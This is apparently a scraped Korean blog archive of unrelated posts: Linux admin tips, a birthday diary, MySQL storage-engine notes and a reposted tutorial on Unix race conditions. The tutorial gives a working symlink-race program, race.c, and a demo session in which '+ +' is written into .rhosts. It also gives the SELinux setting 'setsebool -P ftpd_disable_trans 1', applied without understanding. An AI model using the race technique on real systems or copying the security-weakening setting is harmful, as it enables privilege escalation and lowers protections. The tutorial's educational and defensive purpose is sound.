안녕하세요? 바람돌이입니다.

Fedora Core 4에서는 보안을 이유로 계정으로 접속을 하고 디렉토리에 권한을 설정한다고 하여도 업로드를 불가능하게 해놓았습니다.
물론 로그인, 다운로드는 잘 동작합니다.

drwxrwx---  15 root root     4096  7월 25 22:52 .

다음과 같게 권한이 설정되어있어야 합니다.

drwxrwx---  15 test test     4096  7월 25 22:52 .

이렇게 되어 있어도 됩니다.
아무튼, 중요한 것은 해당 디렉토리에도 로그인 한 계정에 대한 쓰기 권한이 있어야만 업로드가 된다는 것입니다.
자세한건 "리눅스의 권한 설정" 부분과 "chmod"를 살펴보시기 바랍니다.



그리고, 업로드를 가능하게 하려면, 다음을 실행합니다.

[root@localhost ~]# setsebool -P ftpd_disable_trans 1

정확하게 어떤 것인지는 모르지만, 위와 같이 실행하면, 업로드가 가능해집니다.
물론, 위를 실행한뒤에는 vsftpd를 재시작해주어야만 합니다.

[root@localhost ~]# /etc/init.d/vsftpd restart



반대로 다시 업로드기능만을 막고 싶다면
다음과 같이 실행합니다.

[root@localhost ~]# setsebool -P ftpd_disable_trans 0
[root@localhost ~]# /etc/init.d/vsftpd restart


꼭 성공하시기 바랍니다. 몇일 고생했습니다. 안될 이유가 없다고 맨날 생각해서리... @^-^@

'도서관 I > 리눅스' 카테고리의 다른 글

[바람이] vi 사용법 정리  (0) 2007.08.01
[펌] gcc 명령어  (0) 2007.07.26
[바람이] killproc-2.11 사용법  (0) 2007.07.20
[펌] 리눅스 한글 깨짐 현상 해결법  (0) 2007.07.18
[펌] ctags & cscope 설치 및 사용  (1) 2007.07.02
내 28번째의 생일이 밝아왔다.

지금은 8시 31분. 아침에 창밖에서 들려오는 아주머니와 한 아이의 실랑이 소리에 반 쯤 깨고,
친구녀석이 아침부터 부산떠는 소리에 나머지 반이 깨버렸다.
일찍 일어난 김에 샤워를 하고 일찍 준비를 마쳤다.

오늘은 렌즈를 끼고 나갈 생각이다. 평소엔 거의 착용하지 않아서 너무 아까웠는데, 기념일엔 한 번쯤 사용해 줘야 녹슬지 않지 않을까? ㅋㅋ
오랫만에 껴서 그런지, 약간 거부감이 있네... 하긴, 관리를 그만큼 안했으니 당연하겠지.

오늘은 어떤 일들이 생길까? 오늘은 어떤 스케줄로 생활하게 될까?
1. 암일 없이 걍 학교에서 저녁 늦게까지 컴터랑 씨름을 한다.
2. 학교에서 저녁때까지 공부를 하고, 저녁 늦게에는 친구들과 술을 한 잔 한다.
3. 학원을 다녀와서 부터, 내내 논다.

아마두, 1번이나 2번이 되겠지?

요즘엔 정말 신기하게도 생일이라는 걸 까먹는다. 신기해...
나이가 들은걸까? 7월 24일이 생일인데, 거의 7월 시작부터 난 생일을 기다려왔다.
그냥, 특별한 일들이 있어서라기 보다는, 왠지 모를 설레임? 왠지 좋은 일들이 생길 것 같은?
그런데 이번 28번째 생일은 조금 달랐다. 단적인 예로, 내 기억속에는 거의 7월 22일 175회 토익 시험 날만이 기억되고 있었으니...
요즘 내가 너무 토익에 스트레스를 받는건가? ㅋㅋ

우선은 여기까지 쓰고, 어여 학원 갈 준비를 해야겠다. 도윤이 다 씻구 준비하넹.
at AM 08:39



어느새 학원을 다녀와서 내 생일의 반 이상이 지나가 버렸다.
학원에 다녀와서 상현이 DB 세미나를 마치고, 이제 대충 오늘일을 마무리 지었다.
현재 시간은 PM 08:05 이다. 거의 12시간이 지나 버렸네... @^-^@

내 주민등록상의 생일은 07.14이다. 그래서 그런지, 내 생일을 기억하는 친구들은 그리 많지 않다.
다들 14일에 나에게 생일을 추카한다고 문자를 보내주곤 한다.
본의 아니게, 24일 내 생일을 기억해 주는 친구들이 더 정이 느껴지곤 한다. 그러면 안되지만. @^-^@

오늘 하루는 어떻게 지나갔는가?
글쎄... 아직까지는 평소와 딱히 다른 점이 없는 거 같다. 아마도 이후에도 그리 다르진 않을 거다. 술을 먹는다는 것 외에는.
무언가를 해보고 싶었던가? 아니다. 그냥... 이젠 느낌이 다르다. 마치, '이번의 생일은 어떻게 지나가나...?' 라고 멀리서 지켜보는 듯한 느낌?
제 3자가 되어서 바라보는 느낌이 든다. 나이를 먹은 걸까? ㅋㅋ

왠지는 모르지만, 문득 살아온 날들이 생각난다.
송파에서 어린 시절의 대부분을 보내고, 중2때 분당으로 이사를 왔었지...
현준, 동혁, 정환이를 만나서 Do you remember?... 라는 이름하에 평생 잊지 못할 추억들을 만들어 갔었고,
어김없어 대학이라는 좁은 문을 위해 허망한 고등학교 시절을 보냈던 기억이 난다.
그래서 일까? 고등학교 때의 친구들은 거의 없다.
그렇게 대학이라는 곳에 와서, 그리도 꿈꾸던 음악을 연주하며 꿈을 꾸었었다.
그리곤, 군대에 갔다가 복학을 하고...
내가 정말 원하던 컴퓨터라는 꿈을 이어나갔다.
그리고... 지금의 내가 있다...

내 인생을 몇줄로 모두 표현할 순 없겠지... 아니, 글로 표현한다는 것 자체가 무리일지도 모른다.
... 그래서 내 미래는 상상해보지 않으련다. ㅋㅋ 핑계일지도 모르지만...
지금은, 당장의 미래만을 걱정하련다. 누구나 그렇듯 토익이란 관문을...

하루하루 준비해 나가면, 언젠가는 뭐가 되어도 되어 있겠지... @^-^@
내 나이 28. 늙었다면 늙고, 젊다면 젊은 나이.
29살의 생일 때에는 어떤 글을 쓰고 있을지는 모르지만, 지금 나는 여기에 있다!
컴퓨터 앞에 있고, 미래를 꿈꾸고 있다.
... 지금은 그것만으로도 행복하다. 주체할 수 없을 정도로.



2007년 생일날 술먹으러 가기 전 마지막 맨정신으로... @^-^@
사용자 삽입 이미지
오늘 토익을 시험봤다.

가채점을 해봤더만... 그닥~! 달라지지 않은듯 하다...

주연이가 그러던데, 다들 이번 시험은 쉬웠다고 한다...

해커스 토익에서도 그러더군. 쉬웠다궁...

아웅!!!~~~ 난 당최 언제 점수가 오르는 거야???

그리궁 190번은 당연 9월 아냐???

의문나는 답들... 에잉...

[Flash] http://www.crazymonkeygames.com/swf/boxheadmorerooms.swf



블로그에 올려놓으니... 키보드로 게임이 조금 어렵네요. 밑에 풀링크를 눌러서 겜을 즐기시길~

http://www.crazymonkeygames.com/swf/boxheadmorerooms.swf

출처:

Study on Race Condition - Seoro Lee : 2002-01-25
http://khdp.org/2004/wiki/doc/Race_Condition



1. 머리말

 

유닉스는 멀티 유저를 지향한 매우 훌륭한 시스템이다. 여러 사람으로 하여금 정보를 공유할 수 있도록 잘 만들어져 있다. 그러면, 개인의 Privacy는 어떤 식으로 유지가 되는 것일까? 그것은 Permission, 그리고 password 등으로 가능하도록 구현해 놓았다. 그리고, 시스템 관리를 위해서 Root라는 superuser를 두어서 어떤 일이든 가능한 위치에 놓았다.


초기에 유닉스가 나타난 당시, 사용하는 유저가 그리 많지 않았고, 또한 흑심을 품은 해커도 별로 나타나지 않았으므로, 보안에 관한 관심이 별로 없었다.


그러나, 요즈음의 경우 사용자 편의를 위해 짜여진 프로그램이 거꾸로 시스템을 공격하는 무기고가 되고 있다. 일반 유저가 프로그램의 버그를 이용하여 갑자기 관리자의 권한을 지니고 권력(?)을 휘두르는 사태에 이르렀다.


해커들이 localhost에서 관리자의 권한을 잡는 방법은 여러가지가 있으나, 아직까지 크게 알려지지 않은 이 race condition을 이 문서에서 다루어 보도록 한다.



2. race condition이란?

 

race condition이란, 해킹조건을 뜻하는 말이 아니었다. race condition은 간단히 말해서, 두 프로세스간에 resource를 사용하기 위해서, 다투는 과정이다. 그 단적인 예를 여기에 하나 보인다.


------ race condition EXAMPLE 1 ----------------
void main(void)
{
        int     childpid;
        int     a, b;
        if((childpid = fork()) > 0) { /* Parent process */
                for(a = 0; a < 100; a++) printf("O");
                exit(0);
        }
        else { /* child process */                             
                for(b = 0; b < 100; b++) printf("X");
                exit(0);
        }
}
------------------------------------------------


fork()라는 함수는 동일한 작업을 하는 프로세스를 하나 더 띄우는 함수이다. fork()를 호출할 때, 그 return값은 새로 만들어진 프로세스의 번호가 되는데, 그것으로 두 프로세스를 나눌 수 있게 된다. (자세한 것은 system prog책을 참조하시오) 그러면 위에 Remark를 보인 것 처럼 원래의 프로세스는 O라는 문자를 찍게되며, 자식으로 나온 프로세스는 X를 찍는다.


물론 각각 100번을. 이때, 유닉스는 Time Sharing을 사용하므로, 프로세스 마다 시간을 각각 할당하게 되는데, 어느쪽에 시간을 더주느냐 덜주느냐가 문제가 된다.


그냥 생각하기로는 OXOXOX... 이런 식으로 나오리라 생각할 수도 있지만, 실행해보면 OOOXXOOXXXXXXOOXOXX 이런 식으로 얽혀서 주기성이 없이 나타난다. 이것이 바로 race condition이라는 것이다.



3. Symbolic Link

 

유닉스에는 Symbolic link라는 아주 좋은 개체가 존재한다. 일반적으로 어떤 파일을 접근하고자 할때, 그것의 Full-path를 찾아가는 일은 대단히 귀찮은 일이다. 물론 PATH라는 좋은 매체가 존재하기는 하나, 그것으로는 조금 불충분하다고 생각할 수 있다. symbolic link는 그냥 path name으로 연결해주는 매체로써, 예를 드는 것이 가장 쉬울 것으로 예상된다.


당신이 시스템내에서 /home/project/AI/SIM 이라는 디렉토리에서 연구를 한다고 하자. 당신의 login디렉토리는 /user/iam이라고 하자. 당신은 그쪽으로 연구를 하러 갈때 항상 cd /home/project/AI/SIM 과같은 방식으로 갈 수 밖에 없을 것이다. 그것도 매일같이 한다면 더욱 귀찮을 것이다. 이런 경우 symbolic link를 이용하면 매우 간단히 해결된다.


당신의 홈 디렉토리에서 'ln -s /usr/project/AI/SIM .link' 라고 입력하면, ".link"라는 링크 파일이 만들어 진다. 그러면 차후에 cd .link라고 입력하면 .link는 /home/project/AI/SIM으로 연결되어 있으므로, 자동으로 그쪽 디렉토리로 이동하게 된다. 매우 편리한 기능이다.


Symbolic link는 위와 같이 매우 편리하게 이용할 수 있으나, 위험성을 많이 내포하고 있다. 유닉스에 존재하는 일반적인 버그에 수시로 나타나는 것이 바로 이 Symbolic link인데, 왜 그런지 그 이유를 살펴보도록 한다.


예를 들어서, 어떤 프로그램이 hello라는 파일을 열어서, 그곳에 무언가를 써준다고 가정한다. 이때 만약 당신이 Permission이 된다면, hello라는 파일을 지우고나서, symbolic link로 'ln -s ~xxx/.rhosts hello' 라고 해두면 어떻게 되겠는가? 그 프로그램이 실행되면 hello라는 파일을 여는데, hello는 ~xxx/.rhosts라는 파일에 링크되어 있으므로, 그 프로그램은 ~xxx/.rhosts를 열어서 쓰게 된다. (물론 잘만 프로그램을 짜면 그런 일을 없앨 수 있다.)


이러한 단적인 예제가 elm 에 존재하는 autoreply라는 버그였는데, 그것은 setuid root되어 있고, /tmp에 arep.???? 라는 666 mode의 파일을 생성한다. 그러면, 그 생성되는 파일을 없애고(unlink), symbolic link를 /.rhosts(root의 .rhosts)로 연결시켜버린다. 그러면 실행하면서 /.rhosts라는 파일에 "+ +"정도가 들어가게 하기만 하면, 만사 OK(or BAD?)가 된다.



4. Why race condition APPEAR?

 

위와 같다면 왜 race condition이 등장하게 되었을까? 그냥 링크시켜서 하면 되는 것인데, 왜 프로세스 간의 resource경쟁이 나타나는가? 그것은 일종의 방어자와 공격자의 싸움에서 등장한 결과라고도 볼 수 있다.


프로그래머는 드디어 위와 같은 autoreply의 문제점을 인식하고, 새로운 방법을 모색하게 되었다. 그것은 바로 lstat()를 이용한 것으로, lstat()을 이용하여, 먼저 modify하고자 하는 파일이 Symbolic Link인지를 먼저 파악하고 그런 후에 그 파일을 open()시켜서 처리하도록 한것이다. 정말 혁신적인 방법으로, 아무런 문제가 없는 듯이 보였다. 그러나, 여기에서 race condition이 등장한다.


lstat()과 open()사이에는 분명히 갭이 존재한다. 그 갭을 적절히 이용한 것이 바로 race condition인데, 먼저 race프로그램을 background로 돌린다. race 프로그램은 돌면서, 공격하고자 하는 프로그램이 modify하는 파일을 연속해서 지우고, 링크를 만들고 하는 작업을 반복한다. 그런 후에 공격하고자 하는 프로그램을 돌린다. 그러면 어떻게 되는가?


lstat()이 이루졌을때, unlink()가 되어있고, open()될때 symbolic link가 되어 있다면, lstat()은 무용지물이 되고 만다. 그러나, 그것이 이루어 질지 안 이루어 질지는 미지수이다. 위에서 얘기한 것 처럼 프로세스는 어떻게 시간을 할당할지 전혀 알 수 없기 때문이다. 그러므로, race condition이라 불리운다.


여기까지 설명을 했으니, 여기 내가 간단히 짜놓은 예제를 보인다. 이것은 SunOS의 sendmail(/bin/mail)의 버그를 설명하는 것이다.


------- race.c --------------------------------
-------------------- race ---------------------
#include &ltsys/types.h>
#include &ltfcntl.h>
void main(void)
{
        while(1) {
                unlink("./tmp.file");
                symlink("./.rhosts", "./tmp.file");
        }
}
-----------------------------------------------


이것은 race를 위해 돌릴 프로그램이다. 공격하고자 하는 프로그램이 현재 디렉토리에 "tmp.file"이라는 이름의 파일을 변경한다고 할 때, 만들어 놓은 것이다. "tmp.file"지우고, 그후 다시 현재 디렉토리의 ".rhosts"에 링크하고하는 작업을 반복시키고 있다. 실행 파일 명은 race이다.


---- victim.c ---------------------------------
------------------------ xx -------------------
#include &ltsys/types.h>
#include &ltsys/stat.h>
#include &ltfcntl.h>
main()
{
        struct stat buf;
        char *name = "./tmp.file";
        char *data = "+ +\n";
        int     fd;
        int     is_link;
        int     i;
        if(lstat(name, &buf)) {
                printf("File does not Exist.\n");
                fd = open(name, O_WRONLY|O_CREAT, 0644);
                write(fd, data, strlen(data));
                now_ok();
                close(fd);
                exit(0);
        }
        else {
                printf("File does EXIST!\n");
                printf("Now This file is a ");
                if((is_link = S_ISLNK(buf.st_mode)) ) printf("link\n");
                if(S_ISREG(buf.st_mode) ) printf("regular file\n");
                if(is_link) {
                        printf("THIS IS SYMBOLIC LINK. DIE MAN\n");
                        exit(0);
                }
                fd = open(name, O_WRONLY | O_APPEND);
                write(fd, data, strlen(data));
                now_ok();
                close(fd);
                exit(0);
        }
}
now_ok()
{
        printf("Now ok is Appended.\n");
}
--------------------------------------------

victim.c는 공격하고자 하는 프로그램의 간단한 예제이다. 꽤 길어졌는데, 그것은 그 과정을 확실히 보이기 위함이다.


이 프로그램은 시작할 때, 먼저 lstat()을 이용, 파일이 존재하는지 안하는지를 체크한다. 없으면, open에서 O_CREAT 옵션을 이용하여, 파일을 생성하고 data를 "+ +"을 넣는다. "+ +"은 유별난 데이터지만 sendmail의 경우, 마음대로 data를 바꾸어서 넣을 수 있으므로, "+ +"을 넣었다고 가정한다.


파일이 존재하면 lstat으로 부터 얻은 정보를 이용해서, symbolic link인지 아닌지를 체크한다. symbolic link이면 이 프로그램의 의도에 맞게 대응할 수 있다. 그렇게 않으면 일반 파일이므로, 내용을 추가하여 넣는다.


이제 이 두 프로그램의 race를 지켜보기 바란다. 여기 실행 결과를 Capture한 파일을 보인다.


---------- Captured File ---------------------
Script started on Wed Aug 21 02:19:24 1996
[moses:/u4/norther/seoro] 1 cat ./.rhosts
nowhere nobody
[moses:/u4/norther/seoro] 2 race &
[1] 6519
[moses:/u4/norther/seoro] 3 xx
File does EXIST!
Now This file is a link
THIS IS SYMBOLIC LINK. DIE MAN
[moses:/u4/norther/seoro] 4 xx
File does not Exist.
Now ok is Appended.
[moses:/u4/norther/seoro] 5 cat ./.rhosts
+ +
ere nobody
[moses:/u4/norther/seoro] 6 xx
File does EXIST!
Now This file is a link
THIS IS SYMBOLIC LINK. DIE MAN
[moses:/u4/norther/seoro] 7
script done on Wed Aug 21 02:20:11 1996
---------------------------------------------

자 옆에 달린 1,2,3.. 번호를 따라가본다.


1번에서 먼저 .rhosts에 들어있는 파일을 보았다. "nowhere nobody"라는 데이터가 들어 있다.


2번에서 race &로 돌려 background로 계속해서 tmp.data를 지웠다가 링크하는 과정을 반복하고 있다.


드디어 3번에서 목표 프로그램을 실행해본다. 파일이 존재하며, 그것이 symbolic link임이 드러난다. 이것은 race할때, unlink()하여, 파일을 없앤 순간이 아니라, symbolic link를 연결한 순간에 lstat()에 걸려서 나타난 현상이다.


4번에서 다시 시도한다. 이번에는 파일이 없으며, 내용을 넣는다고 나타났다.


5번에서 .rhosts내용을 확인해본 결과, 아닌게 아니라 "+ +"메시지가 들어가있다.


6번에서 한번 더 해보았지만 실패하고 만다.


매우 확실한 예제로 이정도면 race가 왜 등장하게 되었는지 알 수 있으리라고 생각한다. 이제 실제 예로 몇가지 예를 설명한다.



5. Some Examples

 

[1] SunOS sendmail(/bin/mail)

SunOS의 sendmail은 외부로 부터 온 메일을 받아서 그것을 /var/spool/mail/$USER 위치에 넣는다. $USER라는 표기는 그냥 온 유저에 맞도록 넣는다는 의미이다. 문제는 그 유저의 permission으로 넣어주기 위해서(chown) Root권한으로 프로그램이 돌아간다는 사실이다.


/var/spool/mail의 디렉토리가 777로 열려있다고 가정한다. 이때, /etc/passwd에는 entry가 존재하고, /var/spool/mail에는 아직 존재하지 않는 유저가 있다고 생각해보자. ftp, sundiag등 mail이 날아올 일이 없는 id가 분명히 있을 것이다. 이런 경우 race condition으로 시스템에 구멍이 생긴다.


ftp를 지목하였다고 하자. race 프로그램을 만든다. 그것은 /var/spool/mail/ftp를 지웠다가 그 파일을 'ln -s /.rhosts /var/spool/mail/ftp'로 링크하는 것을 반복하는 것이라고 생각한다. 이제 race프로그램을 돌린다. 그런 후에, ftp로 아주 적절한 data를 넣어서 메일을 보낸다. 그러면 어떻게 되는가?


sendmail은 4장에서 소개한 방법으로 Symbolic link를 판별한다. 그러므로, 확률이 반반정도로 위의 예처럼 잘 걸린 경우 그 내용이 /.rhosts에 들어가든지 unlink()되어 파일이 없었던 경우라면, ftp라는 파일이 생성되고 결말이 날 것이다.


[2] Solaris 2.x ps(/usr/bin/ps)

여기부터는 간략히 그 메카니즘만을 설명하기로 한다. Solaris 2.x에 있는 ps는 /tmp 디렉토리에 임시파일을 만들고, 그 파일에 내용을 쓴 다음 chown()을 이용하여, 권한을 바꾸고 마지막으로 그것을 /tmp/ps_data라는 파일로 rename시켜준다.


이것은 어떤 방법으로 race condition이 가능한가?


이번의 race프로그램은 약간 신경을 써서 만들어야 한다. 임시로 만들어지는 파일의 이름이 무엇인지 알지 못하므로, 이런 경우에는 race프로그램에서 계속해서 /tmp디렉토리를 search해가면서 나타나는 파일마다 race를 걸어주어야 하게 된다.


search하면서 파일이 나타나면, 그것을 unlink()시키고, 그다음 그것을 우리가 원하는 파일에 링크한다. 그 후 그 파일을 chown()시키므로, 우리가 원하는 파일의 permission이 바뀌게 된다.


[3] Misc

/usr/ucb/lpr            임시 파일이 1000을 주기로 이름이 반복된다.
                              lpr -q -s 옵션을 이용 원하는 파일에 symbolic link가능

/bin/passwd -F       패스워드 변경시 /etc/ptmp라는 파일을 생성, 내용을
                              바꾼후에, /etc/passwd에 overwrite시킨다.

/usr/lib/sendmail     보낸 user가 존재하지 않는 경우, /var/tmp/dead.letter에
                              Guessing가능한 파일이 생성된다.



6. 대책

 

race condition, 또는 symbolic link에 의한 대책은 여러가지가 있을 수 있다.


첫째, 가능한한 임시 파일을 만들지 않는 것이다.

요즈음 시스템이 비대해지면서, 어느정도는 메모리 내에서 처리가 가능하다. 굳이 임시 파일을 만드는 것은 race condition의 원인이 된다.


둘째, unlink()를 불가능하게 한다.

unlink()를 시키지 못하면, symbolic link가 만들어 지는 것은 불가능하다. 위의 Solaris의 ps버그는 /tmp가 0777모드로 다른 유저가 /tmp의 파일을 modify가능하기에 나타난 버그이다. 이런 경우 /tmp를 1777로 sticky를 붙이게 되면, unlink()가 불가능해진다.


셋째, creat()와 open()의 구분을 확실히 한다.

이것은 /bin/mail의 경우 확연한 것으로 만들고자 하는 파일을 계속 지웠다가 링크를 만들었다가 하므로, 결국 공격을 당할 시에는 두가지 경우만이 존재한다. symbolic link이거나, 정말로 존재하지 않거나 두가지이다. 그러므로, lstat()에서 파일이 존재하지 않은 것으로 판명된 경우는 open()시킬 때, 옵션을 O_WRONLY|O_CREAT으로 주는 것이 아니라, 여기에 O_EXCL을 첨가하여, 만일 어떤 식으로든 파일이 존재하는 경우, 파일 생성 또는 쓰기를 포기하게 하는 것이다.


넷째, umask를 최하 022정도 유지한다.

파일이 생성되는 경우, 기본 permission이 666으로 누구나 와서 쓸 수 있다. 이에 umask를 이용하면, permission이 mask되어 나와서, 다른 유저의 write permission을 없애준다.

그외에도 많이 있을 수 있겠으나, 이정도로 간단히 정리하도록 한다.



7. 결론

 

이하 race condition에 대해서 다루었다. UNIX시스템에서 이렇듯 시스템 프로그램에 얼마든지 버그가 존재할 수 있으며, 여기에 대해 적극 대처하는 것이 필요하다.

여기까지 race conditon을 일단(!)마치고, 점차적으로 내용을 늘려나가기로 한다.


--------------------
Seoro Lee, Miso Tech
--------------------



안녕하세요? 바람돌이입니다.

이번에 설명할 프로그램은 killproc 으로서 리눅스에서 프로세스를 PID가 아닌 프로세스 이름과 같은 것으로 죽일 수 있는 프로그램입니다.

먼저 http://rpmfind.net/ 이나 그 외에 다양한 곳에서 다운을 받을 수 있습니다.

본 페이지에서도 2.11 버전은 다운 받으실 수 있습니다.



우선 해당 파일을 적당한 곳에 다운 받습니다.
그리고 나서, 다음과 같이 압축을 해제합니다.

[root@localhost ~]# tar zxvf killproc-2.11.tar.gz
killproc-2.11/
killproc-2.11/README
killproc-2.11/COPYING
killproc-2.11/Makefile
killproc-2.11/killproc.8
killproc-2.11/killproc.c
killproc-2.11/startproc.c
killproc-2.11/startproc.8
killproc-2.11/checkproc.c
killproc-2.11/checkproc.8
killproc-2.11/libinit.c
killproc-2.11/libinit.h
killproc-2.11/usleep.c
killproc-2.11/usleep.1
killproc-2.11/killproc-2.11.lsm
[root@localhost ~]#

그리곤 해당 폴더에 들어가서 make를 실행하면 실행 파일이 생성됩니다.


[root@localhost ~]# cd killproc-2.11
[root@localhost killproc-2.11]# make
gcc     -D_GNU_SOURCE -Wall -pipe -funroll-loops -DINITDIR=\"/etc/init.d\" -c libinit.c
gcc     -D_GNU_SOURCE -Wall -pipe -funroll-loops -o killproc killproc.c libinit.o
gcc     -D_GNU_SOURCE -Wall -pipe -funroll-loops -o startproc startproc.c libinit.o
gcc     -D_GNU_SOURCE -Wall -pipe -funroll-loops -o checkproc checkproc.c libinit.o
gcc     -D_GNU_SOURCE -Wall -pipe -o usleep usleep.c
[root@localhost killproc-2.11]# ll
합계 372
-rw-r--r--  1  223 ftp  18007 11월  8  2005 COPYING
-rw-r--r--  1  223 ftp   4544 11월  8  2005 Makefile
-rw-r--r--  1  223 ftp    983 11월  8  2005 README
-rwxr-xr-x  1 root root 29103  7월 20 17:04 checkproc
-rw-r--r--  1  223 ftp   7511 11월  8  2005 checkproc.8
-rw-r--r--  1  223 ftp   7149 11월  8  2005 checkproc.c
-rwxr-xr-x  1 root root 32245  7월 20 17:04 killproc
-rw-r--r--  1  223 ftp    749 11월  8  2005 killproc-2.11.lsm
-rw-r--r--  1  223 ftp   8631 11월  8  2005 killproc.8
-rw-r--r--  1  223 ftp  10373 11월  8  2005 killproc.c
-rw-r--r--  1  223 ftp  33820 11월  8  2005 libinit.c
-rw-r--r--  1  223 ftp   9341 11월  8  2005 libinit.h
-rw-r--r--  1 root root 21868  7월 20 17:04 libinit.o
-rwxr-xr-x  1 root root 38672  7월 20 17:04 startproc
-rw-r--r--  1  223 ftp   7806 11월  8  2005 startproc.8
-rw-r--r--  1  223 ftp  16992 11월  8  2005 startproc.c
-rwxr-xr-x  1 root root  5917  7월 20 17:04 usleep
-rw-r--r--  1  223 ftp   1024 11월  8  2005 usleep.1
-rw-r--r--  1  223 ftp   1724 11월  8  2005 usleep.c
[root@localhost killproc-2.11]#


보시는 것 중에 killproc 파일이 바로 실행 파일입니다. (특정 터미널에서는 색상이 다르게 보일겁니다.)

이를 PATH를 설정해주어도 되지만, 편하게 계속 사용할 것임으로 /bin 폴더에 복사해 놓습니다.



[root@localhost killproc-2.11]# cp ./killproc /bin
[root@localhost killproc-2.11]# killproc
killproc: Usage:
        killproc [-v] [-t<sec>] [-g|-G] [-SIG] /full/path/to/program
        killproc -l
[root@localhost killproc-2.11]#



그리곤 실행을 시켜보면 어느 폴더에서나 위와 같이 실행이 가능하다는 것을 알 수 있습니다.




사실 make를 하게 되면 3개의 프로그램이 생성됩니다.
1. startproc
2. checkproc
3. killproc

즉, 프로세스를 생성하고, 검사하며, 죽일 수 있는 패키지입니다.
나머지에 대한 것은 검색을 활용하시기 바랍니다.




간단한 killproc 사용법을 설명하겠습니다.
만약 mysqld를 실행하면, 대략 몇개의 프로세서가 동작하게 되는데,

[root@localhost killproc-2.11]# killproc mysqld

하게 되면, mysql에 관련된 프로세서가 모두 죽는 것을 볼 수 있습니다.


스크립트에 넣어서 사용하시는 것도 하나의 팁이 될 수 있겠네요. @^-^@




출처 : 삽질신 님의 네이버 블로그
원문 : 리눅스 한글 깨짐 현상 해결해보자


한글이 깨지는 현상이 있을 경우 /etc/sysconfig/i18n 의 설정은 아래와 같았음

LANG="ko_KR.UTF-8"
SUPPORTED="ko_KR.UTF-8:ko_KR:ko"
SYSFONT="latarcyrheb-sun16"


이부분을 아래와 같이 수정~~~


# 한글 설정
/etc/sysconfig/i18n

LANG="ko_KR.eucKR"
SUPPORTED="en_US.iso885915:en_US:en:ko_KR.eucKR:ko_KR:ko"
SYSFONT="lat0-sun16"
SYSFONTACM="iso15"



# 매뉴얼 설정 수정
vi /etc/man.config

수정
PAGER          /usr/bin/less -isr    ( --> 이부분은 안해도 한글설정됨!! )


수정후 바로적용하고 싶다면 "source /etc/sysconfig/i18n " 하면된다.

위 두가지 한글 설정은 터미널이나 기타부분에서 한글깨짐현상을 고치기 위해서다

출처 : 팡두 님의 네이버 블로그
원문 : Mysql Storage Engine



Mysql Storage Engine

 

plug in storage engine 구조

             Table 별로 각자 다른 Storage Engine을 사용가능

하나의 Storage Engine에서 다른 Storage Engine으로의 변화를 간단한 SQL명령만으로 가능

                           ALTER TABLE mytable ENGINE-MyISAM;

#1. Storage Engin 별 특징

Feature

MyISAM

BDB

Memory

InnoDB

Archive

NDB

Storage Limits

No

No

Yes

64TB

No

Yes

Transactions(commit, rollback ,etc)

 

 

 

Locking granularity

table

page

table

row

row

row

MVCC/Snapshot Read

 

 

 

Geospatial support

 

 

 

 

 

B-tree indexes

 

Hash indexes

 

 

 

Full text serch index

 

 

 

 

 

Clustered index

 

 

 

 

 

Data Caches

 

 

 

Index Caches

 

 

Compressed data

 

 

 

 

Encrypted data(via function)

Store cost(space used)

low

low

N/A

high

very low

low

Memory cost

low

low

medium

high

low

high

Bulk Insert Speed

high

high

high

low

very high

high

Cluster database support

 

 

 

 

 

Replication support

foreign key support

 

 

 

 

 

Backup/Point-in-time recovery

 

Query cache support

Update Statistics for Data Dictionary

 

1. MyISAM

             1.1 기본적인 특징

l        MySQL의 기본 Storage Engine

l        Data 저장에 실제적인 제한이 없슴(논리적-물리적 제한은 있음)

l        Data를 매우 효율적으로 저장

l        빈번한 Data 사용의 부하를 잘 소화함

l        B-tree, R-tree그리고 Full-text Index를 지원

l        특정 Index에 대한 Memory Cache를 지원

l        Data 압축에 대한 옵션을 제공

l        지리적 Data를 지원

l        Table 레벨의 Lock을 지원

l        Transaction을 미 지원

l        Backup 및 특정 시점으로의 복구 지원

 

.frm

Table구조정보(스키마정보)

.myd

Data

.myi

Index 정보

DB는 디렉토리별로 생성/관리된다.
Table
은 디렉토리내 파일로 생성/관리되고, 하나의 Table 3개의 Data파일로 구성된다
.




Table을 구성하는 row는 다음과 같이 3가지 형식으로 분류할 수 있다.

**
고정포맷(fixed row format)

컬럼타입으로 varchar, text, blob을 사용하지 않을때.
가능하다면 가급적 고정포맷을 사용하는 것이 좋다
.
동적포맷보다 Memory사용이 적고, Index파일크기도 작아진다. 당연히 속도 또한 향상된다
.
파일구조의 고정길이레코드가 고정포맷, 가변길이레코드가 동적 포맷이라고 생각해주면 이해하기 쉬울 것이다
.

**
동적포맷(dynamic row format)

컬럼타입으로 varchar, text, blob을 사용할때. 주의) varchar(3)보다 작다면 고정포맷이 사용됨
고정포맷에 비해 디스크사용에 있어 효율성을 가지나, 속도는 상대적으로 느리다.
Table
에 빈번한 레코드의 수정/삭제가 이루어지면 단편화가 유발하므로 주기적인 optimize table이 요구된다
.
text, blob
은 별도로 저장되므로, optimize table을 수행할 필요성이 없다
.

**
압축포맷(compressed row format)

읽기전용이다.

myisampack명령어로 만들 수 있다.
디스크공간을 적게 차지하므로 CD Backup할 때 사용하면 된다
.

MyISAM
은 동시성제어를 위해 Table단위 Lock(table-level locking)을 사용한다
.
참고로, 대부분의 상용 DBMS들은 행 단위 Lock(row-level locking)을 사용한다
.
행 단위 Lock킹이 더 세밀하고 정밀한 제어가 가능한 반면, Table단위 Lock킹은 단순하다.


READ LOCAL lock
query
(select)에서만 사용됨.
갱신작업들을 블록. 다른 query문들은 블록 안됨
.
insert
문에서 .myd 파일의 끝에 Data를 추가하는 경우에는 블록 되지 않음
.

READ, or shared locks
모든 갱신작업들(insert는 모두 적용됨)이 블록 됨. myisamcheck는 이 Lock을 사용
.

WRITE, or exclusive locks
insert(
몇몇 종류만), update, delete시 사용됨. 다른 모든 읽기작업/쓰기작업이 블럭됨
.

Index : key buffer
에 캐싱되어 모든 MySQL 스레드들이 공유

Data : OS
의 캐싱에 의존.

주의) 캐싱에 대해

InnoDB
Index/Data 캐싱 모두를 관리하는 것에 비해 MyISAM, Index MySQL서버가 관리하고, Data는 관리하지 않는다.(Data OS캐싱에 의존한다는 의미)
InnoDB
innodb_buffer_pool_size, MyISAM key_buffer_size변수를 사용한다
.

자주 사용되는 Table들의 .myi파일크기를 합하면 대략적은 Index 캐싱크기를 구할 수 있다
.

3
가지 Index 사용가능: b-tree, r-tree, full text 트랜잭션 지원 안됨
.
mysqldump, mysqlhotcopy
Backup가능


MyISAM MERGE
Table
들을 union으로 묶은 일종의 view.
실제 Data는 기반Table들에 있음
.
